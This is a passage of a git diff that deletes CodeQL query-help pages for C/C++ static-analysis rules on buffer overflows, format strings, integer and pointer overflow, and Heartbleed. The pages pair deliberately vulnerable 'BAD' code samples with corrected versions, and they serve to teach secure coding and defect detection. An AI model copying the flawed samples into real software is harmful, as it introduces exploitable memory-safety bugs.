`p[k]`. -1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `int*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. - -## Example - -```cpp -int example1(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // BAD: the offset is already automatically scaled by sizeof(int), - // so this code will compute the wrong offset. - return *(intPointer + (i * sizeof(int))); -} - -int example2(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // GOOD: the offset is automatically scaled by sizeof(int). - return *(intPointer + i); -} - -``` - -## References -* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md b/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md deleted file mode 100644 index 3f6b440c21c..00000000000 --- a/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md +++ /dev/null @@ -1,44 +0,0 @@ -# Suspicious pointer scaling to void - -``` -ID: cpp/suspicious-pointer-scaling-void -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-468 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/IncorrectPointerScalingVoid.ql) - -Casting arbitrary pointers into `void*` and then accessing their contents should be done with care. The results may not be portable. - -This query finds pointer arithmetic expressions where a pointer to `void` (or similar) is then cast to another type and dereferenced. - - -## Recommendation -1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. -1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `void*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. -1. If pointer arithmetic must be done with a single-byte width, prefer `char *` to `void *`, as pointer arithmetic on `void *` is a nonstandard GNU extension. - -## Example - -```cpp -char example1(int i) { - int intArray[5] = { 1, 2, 3, 4, 5 }; - void *voidPointer = (void *)intArray; - // BAD: the pointer arithmetic uses type void*, so the offset - // is not scaled by sizeof(int). - return *(voidPointer + i); -} - -int example2(int i) { - int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; - int *intPointer = intArray; - // GOOD: the offset is automatically scaled by sizeof(int). - return *(intPointer + i); -} - -``` - -## References -* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IntMultToLong.md b/docs/language/query-help/cpp/IntMultToLong.md deleted file mode 100644 index de6b5fa3ea0..00000000000 --- a/docs/language/query-help/cpp/IntMultToLong.md +++ /dev/null @@ -1,40 +0,0 @@ -# Multiplication result converted to larger type - -``` -ID: cpp/integer-multiplication-cast-to-long -Kind: problem -Severity: warning -Precision: high -Tags: reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/IntMultToLong.ql) - -This rule finds code that converts the result of an integer multiplication to a larger type. Since the conversion applies *after* the multiplication, arithmetic overflow may still occur. - -The rule flags every multiplication of two non-constant integer expressions that is (explicitly or implicitly) converted to a larger integer type. The conversion is an indication that the expression would produce a result that would be too large to fit in the smaller integer type. - - -## Recommendation -Use a cast to ensure that the multiplication is done using the larger integer type to avoid overflow. - - -## Example - -```cpp -int i = 2000000000; -long j = i * i; //Wrong: due to overflow on the multiplication between ints, - //will result to j being -1651507200, not 4000000000000000000 - -long k = (long) i * i; //Correct: the multiplication is done on longs instead of ints, - //and will not overflow - -``` - -## References -* MSDN Library: [Multiplicative Operators: *, /, and %](http://msdn.microsoft.com/en-us/library/ty2ax9z9%28v=vs.71%29.aspx). -* Cplusplus.com: [Integer overflow](http://www.cplusplus.com/articles/DE18T05o/). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NewFreeMismatch.md b/docs/language/query-help/cpp/NewFreeMismatch.md deleted file mode 100644 index 6964bde364a..00000000000 --- a/docs/language/query-help/cpp/NewFreeMismatch.md +++ /dev/null @@ -1,34 +0,0 @@ -# Mismatching new/free or malloc/delete - -``` -ID: cpp/new-free-mismatch -Kind: problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-401 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/NewFreeMismatch.ql) - -This rule finds `delete` expressions whose argument is a pointer that points to memory allocated using the `malloc` function, and calls to `free` whose argument is a pointer that points to memory allocated using the `new` operator. Behavior in such cases is undefined and should be avoided. - - -## Recommendation -Use the `delete` operator when freeing memory allocated with `new`, and the `free` function when freeing memory allocated with `malloc`. - - -## Example - -```cpp -Record *ptr = new Record(...); - -... - -free(ptr); // BAD: ptr was created using 'new', but is being freed using 'free' - -``` - -## References -* isocpp.org 'Standard C++', "[Can I free() pointers allocated with new? Can I delete pointers allocated with malloc()?](https://isocpp.org/wiki/faq/freestore-mgmt#mixing-malloc-and-delete)" -* Wikipedia, "[Relation to malloc and free](https://en.wikipedia.org/wiki/New_and_delete_(C%2B%2B)#Relation_to_malloc_and_free)" in *new and delete (C++)*. -* Common Weakness Enumeration: [CWE-401](https://cwe.mitre.org/data/definitions/401.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md b/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md deleted file mode 100644 index dc48d278fb3..00000000000 --- a/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md +++ /dev/null @@ -1,43 +0,0 @@ -# No space for zero terminator - -``` -ID: cpp/no-space-for-terminator -Kind: problem -Severity: error -Precision: high -Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-131/NoSpaceForZeroTerminator.ql) - -This rule identifies calls to `malloc` that call `strlen` to determine the required buffer size, but do not allocate space for the zero terminator. - - -## Recommendation -The expression highlighted by this rule creates a buffer that is of insufficient size to contain the data being copied. This makes the code vulnerable to buffer overflow which can result in anything from a segmentation fault to a security vulnerability (particularly if the array is on stack-allocated memory). - -Increase the size of the buffer being allocated by one or replace `malloc`, `strcpy` pairs with a call to `strdup` - - -## Example - -```c - -void flawed_strdup(const char *input) -{ - char *copy; - - /* Fail to allocate space for terminating '\0' */ - copy = (char *)malloc(strlen(input)); - strcpy(copy, input); - return copy; -} - - -``` - -## References -* CERT C Coding Standard: [MEM35-C. Allocate sufficient memory for an object](https://www.securecoding.cert.org/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object). -* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NonConstantFormat.md b/docs/language/query-help/cpp/NonConstantFormat.md deleted file mode 100644 index 7a93184a406..00000000000 --- a/docs/language/query-help/cpp/NonConstantFormat.md +++ /dev/null @@ -1,109 +0,0 @@ -# Non-constant format string - -``` -ID: cpp/non-constant-format -Kind: problem -Severity: recommendation -Precision: high -Tags: maintainability correctness security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/NonConstantFormat.ql) - -The `printf` function, related functions like `sprintf` and `fprintf`, and other functions built atop `vprintf` all accept a format string as one of their arguments. When such format strings are literal constants, it is easy for the programmer (and static analysis tools) to verify that the format specifiers (such as `%s` and `%02x`) in the format string are compatible with the trailing arguments of the function call. When such format strings are not literal constants, it is more difficult to maintain the program: programmers (and static analysis tools) must perform non-local data-flow analysis to deduce what values the format string argument might take. - - -## Recommendation -If the argument passed as a format string is meant to be a plain string rather than a format string, then pass `%s` as the format string, and pass the original argument as the sole trailing argument. - -If the argument passed as a format string is a parameter to the enclosing function, then consider redesigning the enclosing function's API to be less brittle. - - -## Example -The following program is meant to echo its command line arguments: - - -```c -#include -int main(int argc, char** argv) { - for(int i = 1; i < argc; ++i) { - printf(argv[i]); - } -} -``` -The above program behaves as expected in most cases, but breaks when one of its command line arguments contains a percent character. In such cases, the behavior of the program is undefined: it might echo garbage, it might crash, or it might give a malicious attacker root access. One way of addressing the problem is to use a constant `%s` format string, as in the following program: - - -```c -#include -int main(int argc, char** argv) { - for(int i = 1; i < argc; ++i) { - printf("%s", argv[i]); - } -} -``` - -## Example -The following program defines a `log_with_timestamp` function: - - -```c -void log_with_timestamp(const char* message) { - struct tm now; - time(&now); - printf("[%s] ", asctime(now)); - printf(message); -} - -int main(int argc, char** argv) { - log_with_timestamp("Application is starting...\n"); - /* ... */ - log_with_timestamp("Application is closing...\n"); - return 0; -} -``` -In the code that is visible, the reader can verify that `log_with_timestamp` is never called with a log message containing a percent character, but even if all current calls are correct, this presents an ongoing maintenance burden to ensure that newly-introduced calls don't contain percent characters. As in the previous example, one solution is to make the log message a trailing argument of the function call: - - -```c -void log_with_timestamp(const char* message) { - struct tm now; - time(&now); - printf("[%s] %s", asctime(now), message); -} - -int main(int argc, char** argv) { - log_with_timestamp("Application is starting...\n"); - /* ... */ - log_with_timestamp("Application is closing...\n"); - return 0; -} -``` -An alternative solution is to allow `log_with_timestamp` to accept format arguments: - - -```c -void log_with_timestamp(const char* message, ...) { - va_list args; - va_start(args, message); - struct tm now; - time(&now); - printf("[%s] ", asctime(now)); - vprintf(message, args); - va_end(args); -} - -int main(int argc, char** argv) { - log_with_timestamp("%s is starting...\n", argv[0]); - /* ... */ - log_with_timestamp("%s is closing...\n", argv[0]); - return 0; -} -``` -In this formulation, the non-constant format string to `printf` has been replaced with a non-constant format string to `vprintf`. Semmle will no longer consider the body of `log_with_timestamp` to be a problem, and will instead check that every call to `log_with_timestamp` passes a constant format string. - - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* M. Howard, D. Leblanc, J. Viega, *19 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*. -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md b/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md deleted file mode 100644 index ed2c18c56e2..00000000000 --- a/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md +++ /dev/null @@ -1,58 +0,0 @@ -# Array offset used before range check - -``` -ID: cpp/offset-use-before-range-check -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-125 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Best%20Practices/Likely%20Errors/OffsetUseBeforeRangeCheck.ql) - -The program contains an and-expression where the array access is defined before the range check. Consequently the array is accessed without any bounds checking. The range check does not protect the program from segmentation faults caused by attempts to read beyond the end of a buffer. - - -## Recommendation -Update the and-expression so that the range check precedes the array offset. This will ensure that the bounds are checked before the array is accessed. - - -## Example -The `find` function can read past the end of the buffer pointed to by `str` if `start` is longer than or equal to the length of the buffer (or longer than `len`, depending on the contents of the buffer). - - -```c -int find(int start, char *str, char goal) -{ - int len = strlen(str); - //Potential buffer overflow - for (int i = start; str[i] != 0 && i < len; i++) { - if (str[i] == goal) - return i; - } - return -1; -} - -int findRangeCheck(int start, char *str, char goal) -{ - int len = strlen(str); - //Range check protects against buffer overflow - for (int i = start; i < len && str[i] != 0 ; i++) { - if (str[i] == goal) - return i; - } - return -1; -} - - - - -``` -Update the and-expression so that the range check precedes the array offset (for example, the `findRangeCheck` function). - - -## References -* cplusplus.com: [ C++: array](http://www.cplusplus.com/reference/array/array/). -* Wikipedia: [ Bounds checking](http://en.wikipedia.org/wiki/Bounds_checking). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-125](https://cwe.mitre.org/data/definitions/125.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OpenSslHeartbleed.md b/docs/language/query-help/cpp/OpenSslHeartbleed.md deleted file mode 100644 index 41917e2e3e3..00000000000 --- a/docs/language/query-help/cpp/OpenSslHeartbleed.md +++ /dev/null @@ -1,60 +0,0 @@ -# Use of a version of OpenSSL with Heartbleed - -``` -ID: cpp/openssl-heartbleed -Kind: problem -Severity: error -Precision: very-high -Tags: security external/cwe/cwe-327 external/cwe/cwe-788 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-327/OpenSslHeartbleed.ql) - -Earlier versions of the popular OpenSSL library suffer from a buffer overflow in its "heartbeat" code. Because of the location of the problematic code, this vulnerability is often called "Heartbleed". - -Software that includes a copy of OpenSSL should be sure to use a current version of the library. If it uses an older version, it will be vulnerable to any network site it connects with. - - -## Recommendation -Upgrade to the latest version of OpenSSL. This problem was fixed in version 1.0.1g. - - -## Example -The following code is present in earlier versions of OpenSSL. The `payload` variable is the number of bytes that should be copied from the request back into the response. The call to `memcpy` does this copy. The problem is that `payload` is supplied as part of the remote request, and there is no code that checks the size of it. If the caller supplies a very large value, then the `memcpy` call will copy memory that is outside the request packet. - - -```c -int -tls1_process_heartbeat(SSL *s) - { - unsigned char *p = &s->s3->rrec.data[0], *pl; - unsigned short hbtype; - unsigned int payload; - - /* ... */ - - hbtype = *p++; - n2s(p, payload); - pl = p; - - /* ... */ - - if (hbtype == TLS1_HB_REQUEST) - { - /* ... */ - memcpy(bp, pl, payload); // BAD: overflow here - /* ... */ - } - - - /* ... */ - - } - -``` - -## References -* Common Vulnerabilities and Exposures: [CVE-2014-0160](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160). -* OpenSSL News: [OpenSSL Security Advisory [07 Apr 2014]](https://www.openssl.org/news/secadv_20140407.txt). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). -* Common Weakness Enumeration: [CWE-788](https://cwe.mitre.org/data/definitions/788.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverflowStatic.md b/docs/language/query-help/cpp/OverflowStatic.md deleted file mode 100644 index 23672b0a0d0..00000000000 --- a/docs/language/query-help/cpp/OverflowStatic.md +++ /dev/null @@ -1,41 +0,0 @@ -# Static array access may cause overflow - -``` -ID: cpp/static-buffer-overflow -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-119 external/cwe/cwe-131 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/OverflowStatic.ql) - -When you use static arrays you must ensure that you do not exceed the size of the array during write and access operations. If an operation attempts to write to or access an element that is outside the range of the array then this results in a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -Check the offsets and sizes used in the highlighted operations to ensure that a buffer overflow will not occur. - - -## Example - -```cpp -#define SIZE 30 - -int f(char * s) { - char buf[20]; //buf not set to use SIZE macro - - strncpy(buf, s, SIZE); //wrong: copy may exceed size of buf - - for (int i = 0; i < SIZE; i++) { //wrong: upper limit that is higher than array size - cout << array[i]; - } -} - -``` - -## References -* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. -* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). -* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverrunWrite.md b/docs/language/query-help/cpp/OverrunWrite.md deleted file mode 100644 index 5b511dbdbc5..00000000000 --- a/docs/language/query-help/cpp/OverrunWrite.md +++ /dev/null @@ -1,45 +0,0 @@ -# Potentially overrunning write - -``` -ID: cpp/overrunning-write -Kind: problem -Severity: error -Precision: medium -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/OverrunWrite.ql) - -The program performs a buffer copy or write operation with no upper limit on the size of the copy, and it appears that certain inputs will cause a buffer overflow to occur in this case. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. - - -## Recommendation -Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf`, and in other cases 'n-variant' functions should be preferred. - - -## Example - -```c -void sayHello() -{ - char buffer[10]; - - // BAD: this message overflows the buffer - strcpy(buffer, "Hello, world!"); - - MessageBox(hWnd, buffer, "New Message", MB_OK); -} -``` -In this example, the call to `strcpy` copies a message of 14 characters (including the terminating null) into a buffer with space for just 10 characters. As such, the last four characters overflow the buffer resulting in undefined behavior. - -To fix this issue three changes should be made: - -* Control the size of the buffer using a preprocessor define. -* Replace the call to `strcpy` with `strncpy`, specifying the define as the maximum length to copy. This will prevent the buffer overflow. -* Consider increasing the buffer size, say to 20 characters, so that the message is displayed correctly. - -## References -* CERT C Coding Standard: [STR31-C. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). -* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverrunWriteFloat.md b/docs/language/query-help/cpp/OverrunWriteFloat.md deleted file mode 100644 index 511f4691d76..00000000000 --- a/docs/language/query-help/cpp/OverrunWriteFloat.md +++ /dev/null @@ -1,45 +0,0 @@ -# Potentially overrunning write with float to string conversion - -``` -ID: cpp/overrunning-write-with-float -Kind: problem -Severity: error -Precision: medium -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/OverrunWriteFloat.ql) - -The program performs a buffer copy or write operation that includes one or more float to string conversions (i.e. the %f format specifier), which may overflow the destination buffer if extreme inputs are given. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. - - -## Recommendation -Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf`, and in other cases 'n-variant' functions should be preferred. - - -## Example - -```c -void displayValue(double value) -{ - char buffer[256]; - - // BAD: extreme values may overflow the buffer - sprintf(buffer, "%f", value); - - MessageBox(hWnd, buffer, "A Number", MB_OK); -} -``` -In this example, the call to `sprintf` contains a %f format specifier. Though a 256 character buffer has been allowed, it is not sufficient for the most extreme floating point inputs. For example the representation of double value 1e304 (that is 1 with 304 zeroes after it) will overflow a buffer of this length. - -To fix this issue three changes should be made: - -* Control the size of the buffer using a preprocessor define. -* Replace the call to `sprintf` with `snprintf`, specifying the define as the maximum length to copy. This will prevent the buffer overflow. -* Consider using the %g format specifier instead of %f. - -## References -* CERT C Coding Standard: [STR31-C. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). -* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/PointerOverflow.md b/docs/language/query-help/cpp/PointerOverflow.md deleted file mode 100644 index 843e3a4d172..00000000000 --- a/docs/language/query-help/cpp/PointerOverflow.md +++ /dev/null @@ -1,45 +0,0 @@ -# Pointer overflow check - -``` -ID: cpp/pointer-overflow-check -Kind: problem -Severity: error -Precision: high -Tags: reliability security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/PointerOverflow.ql) - -When checking for integer overflow, you may often write tests like `p + i < p`. This works fine if `p` and `i` are unsigned integers, since any overflow in the addition will cause the value to simply "wrap around." However, using this pattern when `p` is a pointer is problematic because pointer overflow has undefined behavior according to the C and C++ standards. If the addition overflows and has an undefined result, the comparison will likewise be undefined; it may produce an unintended result, or may be deleted entirely by an optimizing compiler. - - -## Recommendation -To check whether an index `i` is less than the length of an array, simply compare these two numbers as unsigned integers: `i < ARRAY_LENGTH`. If the length of the array is defined as the difference between two pointers `ptr` and `p_end`, write `i < p_end - ptr`. If `i` is signed, cast it to unsigned in order to guard against negative `i`. For example, write `(size_t)i < p_end - ptr`. - - -## Example -An invalid check for pointer overflow is most often seen as part of checking whether a number `a` is too large by checking first if adding the number to `ptr` goes past the end of an allocation and then checking if adding it to `ptr` creates a pointer so large that it overflows and wraps around. - - -```cpp -bool not_in_range(T *ptr, T *ptr_end, size_t i) { - return ptr + i >= ptr_end || ptr + i < ptr; // BAD -} - -``` -In both of these checks, the operations are performed in the wrong order. First, an expression that may cause undefined behavior is evaluated (`ptr + i`), and then the result is checked for being in range. But once undefined behavior has happened in the pointer addition, it cannot be recovered from: it's too late to perform the range check after a possible pointer overflow. - -While it's not the subject of this query, the expression `ptr + i < ptr_end` is also an invalid range check. It's undefined behavor in C/C++ to create a pointer that points more than one past the end of an allocation. - -The next example shows how to portably check whether an unsigned number is outside the range of an allocation between `ptr` and `ptr_end`. - - -```cpp -bool not_in_range(T *ptr, T *ptr_end, size_t i) { - return i >= ptr_end - ptr; // GOOD -} -``` - -## References -* Embedded in Academia: [Pointer Overflow Checking](https://blog.regehr.org/archives/1395). -* LWN: [GCC and pointer overflows](https://lwn.net/Articles/278137/). \ No newline at end of file diff --git a/docs/language/query-help/cpp/PotentiallyDangerousFunction.md b/docs/language/query-help/cpp/PotentiallyDangerousFunction.md deleted file mode 100644 index ed95cf2a7af..00000000000 --- a/docs/language/query-help/cpp/PotentiallyDangerousFunction.md +++ /dev/null @@ -1,50 +0,0 @@ -# Use of potentially dangerous function - -``` -ID: cpp/potentially-dangerous-function -Kind: problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-676 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/PotentiallyDangerousFunction.ql) - -This rule finds calls to functions that are dangerous to use. Currently, it checks for calls to `gmtime`, `localtime`, `ctime` and `asctime`. - -The time related functions such as `gmtime` fill data into a `tm` struct or `char` array in shared memory and then returns a pointer to that memory. If the function is called from multiple places in the same program, and especially if it is called from multiple threads in the same program, then the calls will overwrite each other's data. - - -## Recommendation -Replace calls to `gmtime` with `gmtime_r`. With `gmtime_r`, the application code manages allocation of the `tm` struct. That way, separate calls to the function can use their own storage. - -Similarly replace calls to `localtime` with `localtime_r`, calls to `ctime` with `ctime_r` and calls to `asctime` with `asctime_r`. - - -## Example -The following example checks the local time in two ways: - - -```c -// BAD: using gmtime -int is_morning_bad() { - const time_t now_seconds = time(NULL); - struct tm *now = gmtime(&now_seconds); - return (now->tm_hour < 12); -} - -// GOOD: using gmtime_r -int is_morning_good() { - const time_t now_seconds = time(NULL); - struct tm now; - gmtime_r(&now_seconds, &now); - return (now.tm_hour < 12); -} - -``` -The first version uses `gmtime`, so it is vulnerable to its data being overwritten by another thread. Even if this code is not used in a multi-threaded context right now, future changes may make the program multi-threaded. The second version of the code uses `gmtime_r`. Since it allocates a new `tm` struct on every call, it is immune to other calls to `gmtime` or `gmtime_r`. - - -## References -* SEI CERT C Coding Standard: [CON33-C. Avoid race conditions when using library functions](https://wiki.sei.cmu.edu/confluence/display/c/CON33-C.+Avoid+race+conditions+when+using+library+functions). -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SignedOverflowCheck.md b/docs/language/query-help/cpp/SignedOverflowCheck.md deleted file mode 100644 index 2d200d70b4d..00000000000 --- a/docs/language/query-help/cpp/SignedOverflowCheck.md +++ /dev/null @@ -1,70 +0,0 @@ -# Signed overflow check - -``` -ID: cpp/signed-overflow-check -Kind: problem -Severity: warning -Precision: high -Tags: correctness security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/SignedOverflowCheck.ql) - -When checking for integer overflow, you may often write tests like `a + b < a`. This works fine if `a` or `b` are unsigned integers, since any overflow in the addition will cause the value to simply "wrap around." However, using *signed* integers is problematic because signed overflow has undefined behavior according to the C and C++ standards. If the addition overflows and has an undefined result, the comparison will likewise be undefined; it may produce an unintended result, or may be deleted entirely by an optimizing compiler. - - -## Recommendation -Solutions to this problem can be thought of as falling into one of two categories: - -1. Rewrite the signed expression so that overflow cannot occur but the signedness remains. -1. Change the variables and all their uses to be unsigned. -The following cases all fall into the first category. - -1. Given `unsigned short n1, delta` and `n1 + delta < n1`, it is possible to rewrite it as `(unsigned short)(n1 + delta) < n1`. Note that `n1 + delta` does not actually overflow, due to `int` promotion. -1. Given `unsigned short n1, delta` and `n1 + delta < n1`, it is also possible to rewrite it as `n1 > USHORT_MAX - delta`. The `limits.h` or `climits` header must then be included. -1. Given `int n1, delta` and `n1 + delta < n1`, it is possible to rewrite it as `n1 > INT_MAX - delta`. It must be true that `delta >= 0` and the `limits.h` or `climits` header has been included. - -## Example -In the following example, even though `delta` has been declared `unsigned short`, C/C++ type promotion rules require that its type is promoted to the larger type used in the addition and comparison, namely a `signed int`. Addition is performed on signed integers, and may have undefined behavior if an overflow occurs. As a result, the entire (comparison) expression may also have an undefined result. - - -```cpp -bool foo(int n1, unsigned short delta) { - return n1 + delta < n1; // BAD -} - -``` -The following example builds upon the previous one. Instead of performing an addition (which could overflow), we have re-framed the solution so that a subtraction is used instead. Since `delta` is promoted to a `signed int` and `INT_MAX` denotes the largest possible positive value for an `signed int`, the expression `INT_MAX - delta` can never be less than zero or more than `INT_MAX`. Hence, any overflow and underflow are avoided. - - -```cpp -#include -bool foo(int n1, unsigned short delta) { - return n1 > INT_MAX - delta; // GOOD -} - -``` -In the following example, even though both `n` and `delta` have been declared `unsigned short`, both are promoted to `signed int` prior to addition. Because we started out with the narrower `short` type, the addition is guaranteed not to overflow and is therefore defined. But the fact that `n1 + delta` never overflows means that the condition `n1 + delta < n1` will never hold true, which likely is not what the programmer intended. (see also the `cpp/bad-addition-overflow-check` query). - - -```cpp -bool bar(unsigned short n1, unsigned short delta) { - // NB: Comparison is always false - return n1 + delta < n1; // GOOD (but misleading) -} - -``` -The next example provides a solution to the previous one. Even though `n1 + delta` does not overflow, casting it to an `unsigned short` truncates the addition modulo 2^16, so that `unsigned short` "wrap around" may now be observed. Furthermore, since the left-hand side is now of type `unsigned short`, the right-hand side does not need to be promoted to a `signed int`. - - -```cpp -bool bar(unsigned short n1, unsigned short delta) { - return (unsigned short)(n1 + delta) < n1; // GOOD -} - -``` - -## References -* [comp.lang.c FAQ list · Question 3.19 (Preserving rules)](http://c-faq.com/expr/preservingrules.html) -* [INT31-C. Ensure that integer conversions do not result in lost or misinterpreted data](https://wiki.sei.cmu.edu/confluence/display/c/INT31-C.+Ensure+that+integer+conversions+do+not+result+in+lost+or+misinterpreted+data) -* W. Dietz, P. Li, J. Regehr, V. Adve. [Understanding Integer Overflow in C/C++](https://www.cs.utah.edu/~regehr/papers/overflow12.pdf) \ No newline at end of file diff --git a/docs/language/query-help/cpp/SizeCheck.md b/docs/language/query-help/cpp/SizeCheck.md deleted file mode 100644 index 2885c443c85..00000000000 --- a/docs/language/query-help/cpp/SizeCheck.md +++ /dev/null @@ -1,40 +0,0 @@ -# Not enough memory allocated for pointer type - -``` -ID: cpp/allocation-too-small -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-122 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/SizeCheck.ql) - -When you allocate an array from memory using `malloc`, `calloc` or `realloc`, you should ensure that you allocate enough memory to contain an instance of the required pointer type. Calls that are assigned to a non-void pointer variable, but do not allocate enough memory will cause a buffer overflow when a field accessed on the pointer points to memory that is beyond the allocated array. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -The highlighted call allocates memory that is too small to contain an instance of the type of the pointer, which can cause a memory overrun. Use the `sizeof` operator to ensure that the function call allocates enough memory for that type. - - -## Example - -```cpp -#define RECORD_SIZE 30 //incorrect or outdated size for record -typedef struct { - char name[30]; - int status; -} Record; - -void f() { - Record* p = malloc(RECORD_SIZE); //not of sufficient size to hold a Record - ... -} - -``` - -## References -* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. -* M. Donaldson. *Inside the Buffer Overflow Attack: 